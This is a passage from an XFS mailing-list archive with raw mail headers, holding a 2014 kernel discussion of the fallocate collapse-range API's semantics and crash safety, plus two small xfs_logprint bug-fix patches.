> the behaviour is the same across filesystems, just like we do for > > hole punching. > > Using _filter_hole_fiemap filter in such test we would not make a > difference between unwritten and written extent. However in the case > of zero_range this somewhat make the test much less effective so > it'll be worth having fs specific test as well as generic test I > said above. > > Or we could actually directly inspect the data as we do in xfs/290, or > generic/290 respectively. The md5sum does the data inspection for us. The whole point of hole punch and zero range and so one is that they are extent manipulation operations. If we don't check that extents have been manipulated correctly, then we aren't testing that the key behaviour the filesystems are supposed to display for those operations.... Cheers, Dave. -- Dave Chinner david@fromorbit.com From hughd@google.com Wed Feb 26 17:09:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B23F27F3F for ; Wed, 26 Feb 2014 17:09:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 9AAD6304071 for ; Wed, 26 Feb 2014 15:09:55 -0800 (PST) X-ASG-Debug-ID: 1393456194-04cb6c5677791e0001-NocioJ Received: from mail-pa0-f43.google.com (mail-pa0-f43.google.com [209.85.220.43]) by cuda.sgi.com with ESMTP id GGb0tTkSB0Oo3b3A (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 15:09:54 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.220.43 Received: by mail-pa0-f43.google.com with SMTP id rd3so1631806pab.16 for ; Wed, 26 Feb 2014 15:09:53 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=X4hNcxWnM0+5nW6SBZZS87mbpsTR9vf490yhPRbd8/U=; b=dB6haGxvDIMk6Iaa6L21uZ+AIp4fmJE//eo7AUFMgBJunJIKKnzeob46VmATCCuVq0 IqKkbTBesUT6+y8dk7NUX4BjEIajzir/nnkm+u5f8vTSrukfIV9dgUcQ58ZqwGA3932i KByiki+1XFwIBdstOnehbNyBscOmiA1EUpv83w5xOg6v9TRhOFZgeDrkV1/7dWclVkBs 1h4qpc/GDiugFIP6KfFovMCMC6ylYqKeWyE1Z0DG885pj1dr0yspAexeeEjkiuVORd/U xdVaqXBWZMTPK3Lx2L8ThpbS3EKbslqa2u4H/uMQxuAIcYZDL3YPn6GI5RxNrMRQcGqu rmpw== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=X4hNcxWnM0+5nW6SBZZS87mbpsTR9vf490yhPRbd8/U=; b=FE0L8ob3KRx6vJ1LMwOHSzUTdA+XOa5gHHXthMobzowKsYlj+WiB05bBpWCsd6w6lE Oe9OZtD1MFEZ0bhEAiJLRG7j7tbmdDpNWsCFtVzNu3XhtnC4wMvJMWwABm1j1qPhlznS MGABI9KcqHD53rR5rJY/TGkect+2F0eD7eVt1wmWx4HBOL5BAlRzEkb1LhVclwo/bXmc ghKkyhqfyfH8e1/dyu6QrYrkAApWYz5sTTMobdCBCMGhmAkEVktpCNGhUDJUupOBcrOL pjzGyIDDtCJ46rbHKRQfOTDEGpVoYQlHrEfdpTmEa3x3zRDzYPL+V5e2nY2bqbjHMnss tAkg== X-Gm-Message-State: ALoCoQlHSfl402/aUwmkYKm75WtmV12URxCpRFBPzPrrOZLq8X17kQMd9rGg4FUZg0RBtbryrMNUT1ACOFR3eKQBPVZjxPNvDq4/6wVmpyveUHaInheQMQBdVdBz4voiSiVIxSdoQPFroLhp/lTS20VKM9agfEBG5mAxl7ev6aEsoFdC+kVoKpE33JIxMjf1tYQqMuaVARDs X-Received: by 10.68.180.66 with SMTP id dm2mr9556582pbc.143.1393456193782; Wed, 26 Feb 2014 15:09:53 -0800 (PST) Received: from [192.168.148.247] ([216.239.55.199]) by mx.google.com with ESMTPSA id u6sm7025696pbu.16.2014.02.26.15.09.51 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 26 Feb 2014 15:09:52 -0800 (PST) Date: Wed, 26 Feb 2014 15:08:58 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Hugh Dickins , Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140226064224.GU13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140226011347.GL13647@dastard> <20140226064224.GU13647@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pa0-f43.google.com[209.85.220.43] X-Barracuda-Start-Time: 1393456194 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, 26 Feb 2014, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 08:45:15PM -0800, Hugh Dickins wrote: > > On Wed, 26 Feb 2014, Dave Chinner wrote: > > > On Tue, Feb 25, 2014 at 03:23:35PM -0800, Hugh Dickins wrote: > > > > > > > I should mention that when "we" implemented this thirty years ago, > > > > we had a strong conviction that the system call should be idempotent: > > > > that is, the len argument should indicate the final i_size, not the > > > > amount being removed from it. Now, I don't remember the grounds for > > > > that conviction: maybe it was just an idealistic preference for how > > > > to design a good system call. I can certainly see that defining it > > > > that way round would surprise many app programmers. Just mentioning > > > > this in case anyone on these lists sees a practical advantage to > > > > doing it that way instead. > > > > > > I don't see how specifying the end file size as an improvement. What > > > happens if you are collapse a range in a file that is still being > > > appended to by the application and so you race with a file size > > > update? IOWs, with such an API the range to be collapsed is > > > completely unpredictable, and IMO that's a fundamentally broken API. > > > > That's fine if you don't see the idempotent API as an improvement, > > I just wanted to put it on the table in case someone does see an > > advantage to it. But I think I'm missing something in your race > > example: I don't see a difference between the two APIs there. > > > Userspace can't sample the inode size via stat(2) and then use the value for a > syscall atomically. i.e. if you specify the offset you want to > collapse at, and the file size you want to have to define the region > to collapse, then the length you need to collapse is (current inode > size - end file size). If "current inode size" can change between > the stat(2) and fallocate() call (and it can), then the length being > collapsed is indeterminate.... Thanks for explaining more, I was just about to acknowledge what a good example that is. Indeed, it seems not unreasonable to be editing the earlier part of a file while the later part of it is still streaming in. But damn, it now occurs to me that there's still a problem at the streaming end: its file write offset won't be updated to reflect the collapse, so there would be a sparse hole at that end. And collapse returns -EPERM if IS_APPEND(inode). Never mind, I'm not campaigning for a change of interface anyway. Hugh From hughd@google.com Wed Feb 26 17:49:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 1CF417F3F for ; Wed, 26 Feb 2014 17:49:06 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id A249BAC005 for ; Wed, 26 Feb 2014 15:49:05 -0800 (PST) X-ASG-Debug-ID: 1393458541-04bdf05daa800d0001-NocioJ Received: from mail-pb0-f46.google.com (mail-pb0-f46.google.com [209.85.160.46]) by cuda.sgi.com with ESMTP id Zu9Cd56U9CAnUJPd (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 15:49:01 -0800 (PST) X-Barracuda-Envelope-From: hughd@google.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.160.46 Received: by mail-pb0-f46.google.com with SMTP id rq2so616501pbb.19 for ; Wed, 26 Feb 2014 15:49:01 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=google.com; s=20120113; h=date:from:to:cc:subject:in-reply-to:message-id:references :user-agent:mime-version:content-type; bh=zlnb2KkGv6WkfAMhgUIcDaWtZFi6cmMhBgm3j34xsdI=; b=ZwTr7Gf8ZDtB70SQzESIJVSfxxttAl18qFiHG8Uwi2KeNrGfGB169BJ+zt2I+QNF3Y nKRLQkdHHh9CfWGSauDBDG/917hQRiTkxWjsZjI37F5pcYIwl4WhXvit3kZFbxPS0hRY R1pDcWpzJ5q7sYIWiID7P9ZWW4swzplGw1WvDKWl20Mle0d6Zsv4HXfyz1bQgV13Edlo oXUAp0BPl+abXYsq1CIwSLavmdptZJii8P6qCKT0QonlSeMtNINn9AQTWBDSxJPH5Ael UQbT6+WPZaeFzrZGSQtW5/ssTXAlg9bR3+oQdKWDWabhzCKLJjmrR7rkpqpZwa+T5o7V b8EQ== X-Barracuda-BBL-IP: nil X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:date:from:to:cc:subject:in-reply-to:message-id :references:user-agent:mime-version:content-type; bh=zlnb2KkGv6WkfAMhgUIcDaWtZFi6cmMhBgm3j34xsdI=; b=BGfUlfT3SZzpEpqT4xrJDyGpQ6Tit1hEQTqHW8kl/w6BZ1HW+cswMfn5jweK/xOEI7 NbJST0E6mLv1gmeHoW2tRIJ9Z5qIfDW0IoInBDlaBg/zOqfjDGpDIPxSkY+XnTfNvyVk GpoUU8lDTlQ3DOXKQazMc7+RG2ay5wDClfK5ixSRILHSSeJ6QQ0YUsZu8eHNg5O53zyU 0LO2cnR74y/nU0irQpenxMwkZMVoP+DNcNmywKcpb4bQKBlsyLNG8MUeGSoQhrtvvs0T tt/OTQ+YUCT0vGRzX80ufdTUG1QGI5N94NlUpzY9iWyhzgq4DlBWzfkZ899IEGnnMSx3 z+Nw== X-Gm-Message-State: ALoCoQk8SGMquRzaRM94pgL/XGhGQxGYPiTsMUQ9Egv7mPXIz0JDmfGJraEqo4maQag6cKzwkwUZCnJxt+45EtJCpEMAEuyrVpcs5b2Q0mstcxw0kS6wGUHurMqh/rLP5wHGXPYm6hMmhbez+X5vjjAJRJ+Fiif1zedgNNjD/v84arnVcJDbFYAJRHE4C8CwECIaLLUKIb42 X-Received: by 10.66.9.41 with SMTP id w9mr11621851paa.39.1393458541029; Wed, 26 Feb 2014 15:49:01 -0800 (PST) Received: from [192.168.148.247] ([216.239.55.199]) by mx.google.com with ESMTPSA id qf7sm16977036pac.14.2014.02.26.15.48.59 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Wed, 26 Feb 2014 15:49:00 -0800 (PST) Date: Wed, 26 Feb 2014 15:48:07 -0800 (PST) From: Hugh Dickins X-X-Sender: hugh@eggly.anvils To: Dave Chinner cc: Hugh Dickins , Andrew Morton , Theodore Ts'o , Namjae Jeon , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon , Ashish Sangwan Subject: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate In-Reply-To: <20140226100439.GV13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 1/10] fs: Add new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: References: <1392741464-20029-1-git-send-email-linkinjeon@gmail.com> <20140222140625.GD26637@thunk.org> <20140223213606.GE4317@dastard> <20140226015747.GN13647@dastard> <20140226100439.GV13647@dastard> User-Agent: Alpine 2.11 (LSU 23 2013-08-11) MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Barracuda-Connect: mail-pb0-f46.google.com[209.85.160.46] X-Barracuda-Start-Time: 1393458541 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145549 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Wed, 26 Feb 2014, Dave Chinner wrote: > On Tue, Feb 25, 2014 at 09:25:40PM -0800, Hugh Dickins wrote: > > > But I wasn't really thinking of the offset > i_size case, just the > > offset + len >= i_size case: which would end with i_size at offset, > > and the areas you're worried about still beyond EOF - or am I confused? > > Right, offset beyond EOF is just plain daft. But you're not thinking > of the entire picture. What happens when a system crashes half way > through a collapse operation? On tmpfs you don't care - everything > is lost, but on real filesystems we have to care about. > > offset + len beyond EOF is just truncate(offset). > > From the point of view of an application offloading a data movement > operation via collapse range, any range that overlaps EOF is wrong - > data beyond EOF is not accessible and is not available for the > application to move. Hence EINVAL - it's an invalid set of > parameters. > > If we do allow it and implement it by block shifting (which, > technically, is the correct interpretation of the collapse range > behaviour because it preserves preallocation beyond > the collapsed region beyond EOF), then we have > thr problem of moving data blocks below EOF by extent shifting > before we change the EOF. That exposes blocks of undefined content > to the user if we crash and recover up to that point of the > operation. It's just plain dangerous, and if we allow this > possibility via the API, someone is going to make that mistake in a > filesystem because it's difficult to test and hard to get right. Again, I would have thought that this is a problem you are already having to solve in the case when offset + len is below EOF, with blocks of undefined content preallocated beyond EOF. But I don't know xfs, you do: so I accept there may be subtle reasons why the offset + len below EOF case is easier for you to handle - and please don't spend your time trying to hammer those into my head! I think I've been somewhat unreasonable: I insisted in the other thread that "Collapse is significantly more challenging than either hole-punch or truncation", so I should give you a break, not demand that you provide a perfect smooth implementation in all circumstances. None of our filesystems were designed with this operation in mind, each may have its own sound reasons to reject those peculiare cases which would pose more trouble and risk than they are worth. Whether that should be enforced at the VFS level is anther matter: if it turns out that the xfs and ext4 limitations match up, okay. I think we have different preferences, for whether to return error or success, when there is nothing to be done; but I notice now that fallocate fails on len 0, so you are being consistent with that. Reject "offset + len >= i_size" or "offset + len > i_size"? Hugh From sandeen@redhat.com Wed Feb 26 19:06:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 76A8C29DF8 for ; Wed, 26 Feb 2014 19:06:00 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 485CB8F8052 for ; Wed, 26 Feb 2014 17:05:57 -0800 (PST) X-ASG-Debug-ID: 1393463155-04bdf05dac82500001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id uyVCMX52GjgUNbw8 for ; Wed, 26 Feb 2014 17:05:56 -0800 (PST) X-Barracuda-Envelope-From: sandeen@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx01.intmail.prod.int.phx2.redhat.com (int-mx01.intmail.prod.int.phx2.redhat.com [10.5.11.11]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s1R14QZI024253 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 26 Feb 2014 20:05:55 -0500 Received: from liberator.sandeen.net (ovpn01.gateway.prod.ext.phx2.redhat.com [10.5.9.1]) by int-mx01.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s1R107fR022622 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO) for ; Wed, 26 Feb 2014 20:00:10 -0500 Message-ID: <530E8E17.1090901@redhat.com> Date: Wed, 26 Feb 2014 19:00:07 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: xfs-oss Subject: [PATCH 0/2] xfs_logprint: Get xfstests/xfs/295 passing w/ CRCs X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH 0/2] xfs_logprint: Get xfstests/xfs/295 passing w/ CRCs Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Scanned-By: MIMEDefang 2.67 on 10.5.11.11 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1393463156 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 None of this really has to do w/ CRCs specificall, but it perturbed the log in a way that exposed a couple o' bugs. Patches follow. From sandeen@sandeen.net Wed Feb 26 19:13:31 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 36DC229DF8 for ; Wed, 26 Feb 2014 19:13:31 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 099DE304066 for ; Wed, 26 Feb 2014 17:13:27 -0800 (PST) X-ASG-Debug-ID: 1393463606-04bdf05dab82930001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id UmJMOoPMihVsnsnV for ; Wed, 26 Feb 2014 17:13:26 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2914F63C59A5; Wed, 26 Feb 2014 19:13:26 -0600 (CST) Message-ID: <530E9135.2020807@sandeen.net> Date: Wed, 26 Feb 2014 19:13:25 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 1/2] xfs_logprint: Don't error out after split items lose context References: <530E8E17.1090901@redhat.com> X-ASG-Orig-Subj: [PATCH 1/2] xfs_logprint: Don't error out after split items lose context In-Reply-To: <530E8E17.1090901@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393463606 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145552 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xfs_logprint recognizes a "left over region from split log item" but then expects the *next* op to be a valid start to a new item. The problem is, we can split i.e. an xfs_inode_log_format item, skip over it, and then land on the xfs_icdinode_t data which follows it - this doesn't have a valid log item magic (XFS_LI_*) and we error out. This results in something like: xfs_logprint: unknown log operation type (494e) Fix this by recognizing that we've skipped over an item and lost the context we're in, so just continue skipping over op headers until we find the next valid start to a log item. Signed-off-by: Eric Sandeen --- diff --git a/logprint/log_misc.c b/logprint/log_misc.c index cf9d59d..7070fa3 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -874,7 +874,7 @@ xlog_print_record( int bad_hdr_warn) { xfs_caddr_t buf, ptr; - int read_len, skip; + int read_len, skip, lost_context = 0; int ret, n, i, j, k; if (print_no_print) @@ -995,7 +995,10 @@ xlog_print_record( if (xlog_print_find_tid(be32_to_cpu(op_head->oh_tid), op_head->oh_flags & XLOG_WAS_CONT_TRANS)) { printf(_("Left over region from split log item\n")); + /* Skip this leftover bit */ ptr += be32_to_cpu(op_head->oh_len); + /* We've lost context; don't complain if next one looks bad too */ + lost_context = 1; continue; } @@ -1050,7 +1053,7 @@ xlog_print_record( break; } default: { - if (bad_hdr_warn) { + if (bad_hdr_warn && !lost_context) { fprintf(stderr, _("%s: unknown log operation type (%x)\n"), progname, *(unsigned short *)ptr); @@ -1064,6 +1067,7 @@ xlog_print_record( } skip = 0; ptr += be32_to_cpu(op_head->oh_len); + lost_context = 0; } } /* switch */ } /* else */ From sandeen@sandeen.net Wed Feb 26 19:15:58 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D229D29DF8 for ; Wed, 26 Feb 2014 19:15:58 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4EDCEAC004 for ; Wed, 26 Feb 2014 17:15:54 -0800 (PST) X-ASG-Debug-ID: 1393463753-04cb6c56787d030001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id e1Kqmyk4I6ZqYqpU for ; Wed, 26 Feb 2014 17:15:53 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 8CB7163C59A5; Wed, 26 Feb 2014 19:15:53 -0600 (CST) Message-ID: <530E91C8.1010207@sandeen.net> Date: Wed, 26 Feb 2014 19:15:52 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Eric Sandeen , xfs-oss Subject: [PATCH 2/2] xfs_logprint: don't advance op counter in xlog_print_trans_icreate References: <530E8E17.1090901@redhat.com> X-ASG-Orig-Subj: [PATCH 2/2] xfs_logprint: don't advance op counter in xlog_print_trans_icreate In-Reply-To: <530E8E17.1090901@redhat.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1393463753 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145552 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- xlog_print_trans_icreate is advancing the op counter "(*i)++" incorrectly; it only contains one region, and the loop which called it will properly advance the op once we're done. Found-by: Dave Chinner Signed-off-by: Eric Sandeen --- diff --git a/logprint/log_misc.c b/logprint/log_misc.c index 7070fa3..52f1e85 100644 --- a/logprint/log_misc.c +++ b/logprint/log_misc.c @@ -810,7 +810,6 @@ xlog_print_trans_icreate( memmove(&icl_buf, *ptr, MIN(sizeof(struct xfs_icreate_log), len)); icl = &icl_buf; - (*i)++; *ptr += len; /* handle complete header only */ From david@fromorbit.com Wed Feb 26 19:24:49 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 9F7B329DF8 for ; Wed, 26 Feb 2014 19:24:49 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 6DC43304066 for ; Wed, 26 Feb 2014 17:24:49 -0800 (PST) X-ASG-Debug-ID: 1393464287-04cbb066e67e760001-NocioJ Received: from ipmail07.adl2.internode.on.net (ipmail07.adl2.internode.on.net [150.101.137.131]) by cuda.sgi.com with ESMTP id 374S6jSXBeIsK3Ua for ; Wed, 26 Feb 2014 17:24:47 -0800 (PST) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.131 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: AvkJAG6TDlN5LJYe/2dsb2JhbABagwaDQ7h6hVSBFhd0gicBAQU6HCMQCAMYCSUPBSUDIROHeMoOFxaOPgeENwSMZotPh0aDDYdWgW+BUig Received: from ppp121-44-150-30.lns20.syd7.internode.on.net (HELO dastard) ([121.44.150.30]) by ipmail07.adl2.internode.on.net with ESMTP; 27 Feb 2014 11:54:45 +1030 Received: from dave by dastard with local (Exim 4.80) (envelope-from ) id 1WIpiB-0006Ni-Rt; Thu, 27 Feb 2014 12:24:31 +1100 Date: Thu, 27 Feb 2014 12:24:31 +1100 From: Dave Chinner To: Hugh Dickins Cc: Namjae Jeon , Andrew Morton , Matthew Wilcox , Theodore Ts'o , Stephen Rothwell , viro@zeniv.linux.org.uk, bpm@sgi.com, adilger.kernel@dilger.ca, jack@suse.cz, mtk.manpages@gmail.com, lczerner@redhat.com, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com, linux-ext4@vger.kernel.org, linux-kernel@vger.kernel.org, linux-mm@kvack.org, Namjae Jeon Subject: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate Message-ID: <20140227012431.GW13647@dastard> X-ASG-Orig-Subj: Re: [PATCH v5 0/10] fs: Introduce new flag(FALLOC_FL_COLLAPSE_RANGE) for fallocate References: <1392741436-19995-1-git-send-email-linkinjeon@gmail.com> <20140224005710.GH4317@dastard> <20140225141601.358f6e3df2660d4af44da876@canb.auug.org.au> <20140225041346.GA29907@dastard> <20140226011347.GL13647@dastard> <20140226064224.GU13647@dastard> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail07.adl2.internode.on.net[150.101.137.131] X-Barracuda-Start-Time: 1393464287 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.145553 Rule breakdown below pts rule 